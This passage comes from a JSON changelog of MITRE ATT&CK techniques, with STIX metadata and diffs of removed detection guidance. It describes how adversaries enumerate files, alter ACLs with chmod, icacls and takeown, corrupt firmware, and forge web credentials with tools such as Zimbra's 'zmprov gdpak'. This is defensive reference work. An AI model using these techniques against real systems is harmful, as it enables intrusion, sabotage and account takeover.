"description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"Windows",
"macOS",
"ESXi"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:35.854000+00:00\", \"old_value\": \"2025-04-25 15:16:21.879000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1031: Network Intrusion Prevention"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0029: Network Traffic (Network Connection Creation)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0499: Behavioral Detection of Fallback or Alternate C2 Channels"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:31:04.710000+00:00",
"modified": "2025-10-24 17:49:00.036000+00:00",
"name": "File and Directory Discovery",
"description": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nMany command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather file and directory information (e.g. dir, show flash, and/or nvram).(Citation: US-CERT-TA18-106A)\n\nSome files and directories may require elevated or specific user permissions to access.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1083",
"external_id": "T1083"
},
{
"source_name": "Windows Commands JPCERT",
"description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
"url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html"
},
{
"source_name": "US-CERT-TA18-106A",
"description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
"url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Austin Clark, @c2defense"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"ESXi",
"Linux",
"macOS",
"Network Devices",
"Windows"
],
"x_mitre_version": "1.7",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:00.036000+00:00\", \"old_value\": \"2025-04-15 19:58:44.118000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather file and directory information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use of commands being run by non-standard users from non-standard locations. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather file and directory information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use of commands being run by non-standard users from non-standard locations. \"}}}",
"previous_version": "1.7",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0370: Recursive Enumeration of Files and Directories Across Privilege Contexts"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2018-10-17 00:14:20.652000+00:00",
"modified": "2025-10-24 17:48:52.570000+00:00",
"name": "File and Directory Permissions Modification",
"description": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nModifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory\u2019s existing permissions. This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).\n\nAdversaries may also change permissions of symbolic links. For example, malware (particularly ransomware) may modify symbolic links and associated settings to enable access to files from local shortcuts with remote paths.(Citation: new_rust_based_ransomware)(Citation: bad_luck_blackcat)(Citation: falconoverwatch_blackcat_attack)(Citation: blackmatter_blackcat)(Citation: fsutil_behavior) ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1222",
"external_id": "T1222"
},
{
"source_name": "falconoverwatch_blackcat_attack",
"description": "Falcon OverWatch Team. (2022, March 23). Falcon OverWatch Threat Hunting Contributes to Seamless Protection Against Novel BlackCat Attack. Retrieved May 5, 2022.",
"url": "https://www.crowdstrike.com/blog/falcon-overwatch-contributes-to-blackcat-protection/"
},
{
"source_name": "Hybrid Analysis Icacls1 June 2018",
"description": "Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.",
"url": "https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100"
},
{
"source_name": "Hybrid Analysis Icacls2 May 2018",
"description": "Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.",
"url": "https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110"
},
{
"source_name": "bad_luck_blackcat",
"description": "Kaspersky Global Research & Analysis Team (GReAT). (2022). A Bad Luck BlackCat. Retrieved May 5, 2022.",
"url": "https://go.kaspersky.com/rs/802-IJN-240/images/TR_BlackCat_Report.pdf"
},
{
"source_name": "fsutil_behavior",
"description": "Microsoft. (2021, September 27). fsutil behavior. Retrieved January 14, 2022.",
"url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-behavior"
},
{
"source_name": "EventTracker File Permissions Feb 2014",
"description": "Netsurion. (2014, February 19). Monitoring File Permission Changes with the Windows Security Log. Retrieved August 19, 2018.",
"url": "https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/"
},
{
"source_name": "blackmatter_blackcat",
"description": "Pereira, T. Huey, C. (2022, March 17). From BlackMatter to BlackCat: Analyzing two attacks from one affiliate. Retrieved May 5, 2022.",
"url": "https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html"
},
{
"source_name": "new_rust_based_ransomware",
"description": "Symantec Threat Hunter Team. (2021, December 16). Noberus: Technical Analysis Shows Sophistication of New Rust-based Ransomware. Retrieved January 14, 2022.",
"url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/noberus-blackcat-alphv-rust-ransomware"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"CrowdStrike Falcon OverWatch",
"Jan Miller, CrowdStrike"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"ESXi",
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "2.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Active Directory: Active Directory Object Modification\", \"Command: Command Execution\", \"File: File Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:52.570000+00:00\", \"old_value\": \"2025-04-16 20:37:17.378000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\\n\\nConsider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\\n-\\n-Consider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)\"}}}",
"previous_version": "2.3",
"changelog_mitigations": {
"shared": [
"M1022: Restrict File and Directory Permissions",
"M1026: Privileged Account Management"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Metadata)",
"DS0026: Active Directory (Active Directory Object Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0299: Multi-Platform File and Directory Permissions Modification Detection Strategy"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-04 19:24:27.774000+00:00",
"modified": "2025-10-24 17:48:21.839000+00:00",
"name": "Linux and Mac File and Directory Permissions Modification",
"description": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nMost Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform\u2019s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: chown (short for change owner), and chmod (short for change mode).\n\nAdversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).(Citation: 20 macOS Common Tools and Techniques) ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1222/002",
"external_id": "T1222.002"
},
{
"source_name": "Hybrid Analysis Icacls1 June 2018",
"description": "Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.",
"url": "https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100"
},
{
"source_name": "Hybrid Analysis Icacls2 May 2018",
"description": "Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.",
"url": "https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110"
},
{
"source_name": "20 macOS Common Tools and Techniques",
"description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.",
"url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"macOS",
"Linux"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"File: File Metadata\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:21.839000+00:00\", \"old_value\": \"2025-04-15 22:46:00.944000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Commonly abused command arguments include chmod +x, chmod -R 755, and chmod 777.(Citation: 20 macOS Common Tools and Techniques) \\n\\nConsider enabling file/directory permission change auditing on folders containing key binary/configuration files.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Commonly abused command arguments include chmod +x, chmod -R 755, and chmod 777.(Citation: 20 macOS Common Tools and Techniques) \\n-\\n-Consider enabling file/directory permission change auditing on folders containing key binary/configuration files.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1022: Restrict File and Directory Permissions",
"M1026: Privileged Account Management"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Metadata)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0351: Unix-like File Permission Manipulation Behavioral Chain Detection Strategy"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-04 19:17:41.767000+00:00",
"modified": "2025-10-24 17:48:37.826000+00:00",
"name": "Windows File and Directory Permissions Modification",
"description": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nWindows implements file and directory ACLs as Discretionary Access Control Lists (DACLs).(Citation: Microsoft DACL May 2018) Similar to a standard ACL, DACLs identifies the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.(Citation: Microsoft Access Control Lists May 2018)\n\nAdversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. Further, [PowerShell](https://attack.mitre.org/techniques/T1059/001) provides cmdlets that can be used to retrieve or modify file and directory DACLs. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1222/001",
"external_id": "T1222.001"
},
{
"source_name": "Hybrid Analysis Icacls1 June 2018",
"description": "Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.",
"url": "https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100"
},
{
"source_name": "Hybrid Analysis Icacls2 May 2018",
"description": "Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.",
"url": "https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110"
},
{
"source_name": "Microsoft Access Control Lists May 2018",
"description": "M. Satran, M. Jacobs. (2018, May 30). Access Control Lists. Retrieved February 4, 2020.",
"url": "https://docs.microsoft.com/en-us/windows/win32/secauthz/access-control-lists"
},
{
"source_name": "Microsoft DACL May 2018",
"description": "Microsoft. (2018, May 30). DACLs and ACEs. Retrieved August 19, 2018.",
"url": "https://docs.microsoft.com/windows/desktop/secauthz/dacls-and-aces"
},
{
"source_name": "EventTracker File Permissions Feb 2014",
"description": "Netsurion. (2014, February 19). Monitoring File Permission Changes with the Windows Security Log. Retrieved August 19, 2018.",
"url": "https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Active Directory: Active Directory Object Modification\", \"Process: Process Creation\", \"File: File Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:37.826000+00:00\", \"old_value\": \"2025-04-15 23:21:45.352000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor and investigate attempts to modify DACLs and file/directory ownership. Many of the commands used to modify DACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\\n\\nConsider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor and investigate attempts to modify DACLs and file/directory ownership. Many of the commands used to modify DACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\\n-\\n-Consider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1022: Restrict File and Directory Permissions",
"M1026: Privileged Account Management"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Metadata)",
"DS0026: Active Directory (Active Directory Object Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0418: Windows DACL Manipulation Behavioral Chain Detection Strategy"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--f5bb433e-bdf6-4781-84bc-35e97e43be89",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2019-04-12 18:28:15.451000+00:00",
"modified": "2025-10-24 17:49:37.207000+00:00",
"name": "Firmware Corruption",
"description": "Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot, thus denying the availability to use the devices and/or the system.(Citation: Symantec Chernobyl W95.CIH) Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices may include the motherboard, hard drive, or video cards.\n\nIn general, adversaries may manipulate, overwrite, or corrupt firmware in order to deny the use of the system or devices. For example, corruption of firmware responsible for loading the operating system for network devices may render the network devices inoperable.(Citation: dhs_threat_to_net_devices)(Citation: cisa_malware_orgs_ukraine) Depending on the device, this attack may also result in [Data Destruction](https://attack.mitre.org/techniques/T1485). ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "impact"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1495",
"external_id": "T1495"
},
{
"source_name": "cisa_malware_orgs_ukraine",
"description": "CISA. (2022, April 28). Alert (AA22-057A) Update: Destructive Malware Targeting Organizations in Ukraine. Retrieved July 29, 2022.",
"url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-057a"
},
{
"source_name": "dhs_threat_to_net_devices",
"description": "U.S. Department of Homeland Security. (2016, August 30). The Increasing Threat to Network Infrastructure Devices and Recommended Mitigations. Retrieved July 29, 2022.",
"url": "https://cyber.dhs.gov/assets/report/ar-16-20173.pdf"
},
{
"source_name": "MITRE Trustworthy Firmware Measurement",
"description": "Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016.",
"url": "http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research"
},
{
"source_name": "Symantec Chernobyl W95.CIH",
"description": "Yamamura, M. (2002, April 25). W95.CIH. Retrieved April 12, 2019.",
"url": "https://web.archive.org/web/20190508170055/https://www.symantec.com/security-center/writeup/2000-122010-2655-99"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_impact_type": [
"Availability"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Network Devices",
"Windows"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Firmware: Firmware Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:37.207000+00:00\", \"old_value\": \"2025-04-16 20:37:22.991000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System firmware manipulation may be detected.(Citation: MITRE Trustworthy Firmware Measurement) Log attempts to read/write to BIOS and compare against known patching behavior.\"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [
"M1026: Privileged Account Management",
"M1046: Boot Integrity",
"M1051: Update Software"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0001: Firmware (Firmware Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0167: Firmware Modification via Flash Tool or Corrupted Firmware Upload"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-12-17 02:13:46.247000+00:00",
"modified": "2025-10-24 17:49:07.201000+00:00",
"name": "Forge Web Credentials",
"description": "Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access.\n\nAdversaries may generate these credential materials in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), [Steal Application Access Token](https://attack.mitre.org/techniques/T1528), and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users.\n\nThe generation of web credentials often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.(Citation: GitHub AWS-ADFS-Credential-Generator) Adversaries may also forge tokens by taking advantage of features such as the `AssumeRole` and `GetFederationToken` APIs in AWS, which allow users to request temporary security credentials (i.e., [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005)), or the `zmprov gdpak` command in Zimbra, which generates a pre-authentication key that can be used to generate tokens for any user in the domain.(Citation: AWS Temporary Security Credentials)(Citation: Zimbra Preauth)\n\nOnce forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation: Microsoft SolarWinds Customer Guidance) ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1606",
"external_id": "T1606"
},
{
"source_name": "AWS Temporary Security Credentials",
"description": "AWS. (n.d.). Requesting temporary security credentials. Retrieved April 1, 2022.",
"url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html"
},
{
"source_name": "Unit 42 Mac Crypto Cookies January 2019",
"description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019.",
"url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/"
},
{
"source_name": "GitHub AWS-ADFS-Credential-Generator",
"description": "Damian Hickey. (2017, January 28). AWS-ADFS-Credential-Generator. Retrieved September 27, 2024.",
"url": "https://github.com/pvanbuijtene/aws-adfs-credential-generator"
},
{
"source_name": "Microsoft SolarWinds Customer Guidance",
"description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.",
"url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/"
},
